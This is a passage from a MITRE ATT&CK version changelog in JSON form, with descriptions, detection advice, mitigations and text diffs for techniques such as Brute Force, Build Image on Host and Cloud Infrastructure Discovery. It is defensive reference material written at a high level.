> an option to \"hide\" the window. If an adversary can registe 
>r their own login item or modified an existing one, then the 
>y can use it to execute their code for a persistence mechani 
>sm each time the user logs in (Citation: Malware Persistence 
> on OS X) (Citation: OSX.Dok Malware). The API method <code> 
> SMLoginItemSetEnabled</code> can be used to set Login Items 
>, but scripting languages like [AppleScript](https://attack. 
>mitre.org/techniques/T1059/002) can do this as well. (Citati 
>on: Adding Login Items) 
", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1022: Restrict File and Directory Permissions" ], "new": [ "M1013: Application Developer Guidance" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:22.767000+00:00", "modified": "2021-09-30 19:18:16.672000+00:00", "name": "Brute Force", "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1110", "external_id": "T1110" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/49.html", "external_id": "CAPEC-49" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "David Fiser, @anu4is, Trend Micro", "Alfredo Oliveira, Trend Micro", "Magno Logan, @magnologan, Trend Micro", "Yossi Weizman, Azure Defender Research Team", "Ed Williams, Trustwave, SpiderLabs" ], "x_mitre_data_sources": [ "Command: Command Execution", "User Account: User Account Authentication", "Application Log: Application Log Content" ], "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers" ], "x_mitre_version": "2.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-30 19:18:16.672000+00:00\", \"old_value\": \"2021-04-14 12:04:36.243000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\\n\\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.\", \"old_value\": \"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\\n+\\n+Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Command: Command Execution\"}}", "previous_version": "2.2", "version_change": "2.2 \u2192 2.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use brute force techniques to gain access tot1Adversaries may use brute force techniques to gain access to
> accounts when passwords are unknown or when password hashes> accounts when passwords are unknown or when password hashes
> are obtained. Without knowledge of the password for an acco> are obtained. Without knowledge of the password for an acco
>unt or set of accounts, an adversary may systematically gues>unt or set of accounts, an adversary may systematically gues
>s the password using a repetitive or iterative mechanism. Br>s the password using a repetitive or iterative mechanism. Br
>ute forcing passwords can take place via interaction with a >ute forcing passwords can take place via interaction with a 
>service that will check the validity of those credentials or>service that will check the validity of those credentials or
> offline against previously acquired credential data, such a> offline against previously acquired credential data, such a
>s password hashes.>s password hashes.  Brute forcing credentials may take place
 > at various points during a breach. For example, adversaries
 > may attempt to brute force access to [Valid Accounts](https
 >://attack.mitre.org/techniques/T1078) within a victim enviro
 >nment leveraging knowledge gathered from other post-compromi
 >se behaviors such as [OS Credential Dumping](https://attack.
 >mitre.org/techniques/T1003), [Account Discovery](https://att
 >ack.mitre.org/techniques/T1087), or [Password Policy Discove
 >ry](https://attack.mitre.org/techniques/T1201). Adversaries 
 >may also combine brute forcing activity with behaviors such 
 >as [External Remote Services](https://attack.mitre.org/techn
 >iques/T1133) as part of Initial Access.
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1027: Password Policies", "M1032: Multi-factor Authentication", "M1036: Account Use Policies", "T1110: Brute Force Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Authentication)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--800f9819-7007-4540-a520-40e655876800", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-30 17:54:03.944000+00:00", "modified": "2021-08-26 16:45:04.924000+00:00", "name": "Build Image on Host", "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1612", "external_id": "T1612" }, { "source_name": "Docker Build Image", "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.", "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild" }, { "source_name": "Aqua Build Images on Hosts", "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.", "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host" }, { "source_name": "Aqua Security Cloud Native Threat Report June 2021", "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.", "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security", "Roi Kol, @roykol1, Team Nautilus Aqua Security", "Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security", "Vishwas Manral, McAfee" ], "x_mitre_data_sources": [ "Image: Image Creation", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "root" ], "x_mitre_platforms": [ "Containers" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-26 16:45:04.924000+00:00\", \"old_value\": \"2021-04-19 13:39:56.999000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\\n\\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. \", \"old_value\": \"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\\n\\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\\n \\n-An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. \\n+An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Aqua Security Cloud Native Threat Report June 2021\", \"description\": \"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.\", \"url\": \"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may build a container image directly on a host tt1Adversaries may build a container image directly on a host t
>o bypass defenses that monitor for the retrieval of maliciou>o bypass defenses that monitor for the retrieval of maliciou
>s images from a public registry. A remote <code>build</code>>s images from a public registry. A remote <code>build</code>
> request may be sent to the Docker API that includes a Docke> request may be sent to the Docker API that includes a Docke
>rfile that pulls a vanilla base image, such as alpine, from >rfile that pulls a vanilla base image, such as alpine, from 
>a public or local registry and then builds a custom image up>a public or local registry and then builds a custom image up
>on it.(Citation: Docker Build Image)  An adversary may take >on it.(Citation: Docker Build Image)  An adversary may take 
>advantage of that <code>build</code> API to build a custom i>advantage of that <code>build</code> API to build a custom i
>mage on the host that includes malware downloaded from their>mage on the host that includes malware downloaded from their
> C2 server, and then they then may utilize [Deploy Container> C2 server, and then they then may utilize [Deploy Container
>](https://attack.mitre.org/techniques/T1610) using that cust>](https://attack.mitre.org/techniques/T1610) using that cust
>om image.(Citation: Aqua Build Images on Hosts) If the base >om image.(Citation: Aqua Build Images on Hosts)(Citation: Aq
>image is pulled from a public registry, defenses will likely>ua Security Cloud Native Threat Report June 2021) If the bas
> not detect the image as malicious since it\u2019s a vanilla imag>e image is pulled from a public registry, defenses will like
>e. If the base image already resides in a local registry, th>ly not detect the image as malicious since it\u2019s a vanilla im
>e pull may be considered even less suspicious since the imag>age. If the base image already resides in a local registry, 
>e is already in the environment. >the pull may be considered even less suspicious since the im
 >age is already in the environment. 
", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1030: Network Segmentation", "M1035: Limit Access to Resource Over Network", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0007: Image (Image Creation)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-08-20 17:51:25.671000+00:00", "modified": "2021-09-02 14:42:19.761000+00:00", "name": "Cloud Infrastructure Discovery", "description": "An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). \nSimilarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1580", "external_id": "T1580" }, { "source_name": "Amazon Describe Instance", "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.", "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html" }, { "source_name": "Amazon Describe Instances API", "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.", "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html" }, { "source_name": "AWS Get Public Access Block", "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html" }, { "source_name": "Google Compute Instances", "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.", "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list" }, { "source_name": "Microsoft AZ CLI", "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" }, { "source_name": "Expel IO Evil in AWS", "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", "url": "https://expel.io/blog/finding-evil-in-aws/" }, { "source_name": "Mandiant M-Trends 2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020" }, { "source_name": "AWS Describe DB Instances", "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Regina Elwell", "Isif Ibrahima", "Praetorian" ], "x_mitre_data_sources": [ "Instance: Instance Metadata", "Instance: Instance Enumeration", "Snapshot: Snapshot Metadata", "Snapshot: Snapshot Enumeration", "Cloud Storage: Cloud Storage Metadata", "Cloud Storage: Cloud Storage Enumeration", "Volume: Volume Metadata", "Volume: Volume Enumeration" ], "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "IaaS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-02 14:42:19.761000+00:00\", \"old_value\": \"2021-03-08 10:33:02.163000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n\\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). \\nSimilarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\\n\\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\", \"old_value\": \"An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n\\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\\n\\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,6 @@\\n An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n \\n-Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\\n+Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). \\n+Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\\n \\n-An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\\n+An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"AWS Get Public Access Block\", \"old_value\": \"Google Compute Instances\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Amazon Web Services. (n.d.). Retrieved May 28, 2021.\", \"old_value\": \"Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html\", \"old_value\": \"https://cloud.google.com/sdk/gcloud/reference/compute/instances/list\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Google Compute Instances\", \"old_value\": \"Microsoft AZ CLI\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.\", \"old_value\": \"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://cloud.google.com/sdk/gcloud/reference/compute/instances/list\", \"old_value\": \"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"Microsoft AZ CLI\", \"old_value\": \"Expel IO Evil in AWS\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.\", \"old_value\": \"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest\", \"old_value\": \"https://expel.io/blog/finding-evil-in-aws/\"}, \"root['external_references'][6]['source_name']\": {\"new_value\": \"Expel IO Evil in AWS\", \"old_value\": \"Mandiant M-Trends 2020\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.\", \"old_value\": \"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://expel.io/blog/finding-evil-in-aws/\", \"old_value\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][7]\": {\"source_name\": \"Mandiant M-Trends 2020\", \"description\": \"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.\", \"url\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\"}, \"root['external_references'][8]\": {\"source_name\": \"AWS Describe DB Instances\", \"description\": \"Amazon Web Services. (n.d.). Retrieved May 28, 2021.\", \"url\": \"https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html\"}, \"root['x_mitre_contributors'][0]\": \"Regina Elwell\", \"root['x_mitre_contributors'][1]\": \"Isif Ibrahima\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may attempt to discover resources that are avait1An adversary may attempt to discover resources that are avai
>lable within an infrastructure-as-a-service (IaaS) environme>lable within an infrastructure-as-a-service (IaaS) environme
>nt. This includes compute service resources such as instance>nt. This includes compute service resources such as instance
>s, virtual machines, and snapshots as well as resources of o>s, virtual machines, and snapshots as well as resources of o
>ther services including the storage and database services.  >ther services including the storage and database services.  
>Cloud providers offer methods such as APIs and commands issu>Cloud providers offer methods such as APIs and commands issu
>ed through CLIs to serve information about infrastructure. F>ed through CLIs to serve information about infrastructure. F
>or example, AWS provides a <code>DescribeInstances</code> AP>or example, AWS provides a <code>DescribeInstances</code> AP
>I within the Amazon EC2 API that can return information abou>I within the Amazon EC2 API that can return information abou
>t one or more instances within an account, as well as the <c>t one or more instances within an account, the <code>ListBuc
>ode>ListBuckets</code> API that returns a list of all bucket>kets</code> API that returns a list of all buckets owned by 
>s owned by the authenticated sender of the request.(Citation>the authenticated sender of the request, or the <code>GetPub
>: Amazon Describe Instance)(Citation: Amazon Describe Instan>licAccessBlock</code> API to retrieve access block configura
>ces API) Similarly, GCP's Cloud SDK CLI provides the <code>g>tion for a bucket (Citation: Amazon Describe Instance)(Citat
>cloud compute instances list</code> command to list all Goog>ion: Amazon Describe Instances API)(Citation: AWS Get Public
>le Compute Engine instances in a project(Citation: Google Co> Access Block).  Similarly, GCP's Cloud SDK CLI provides the
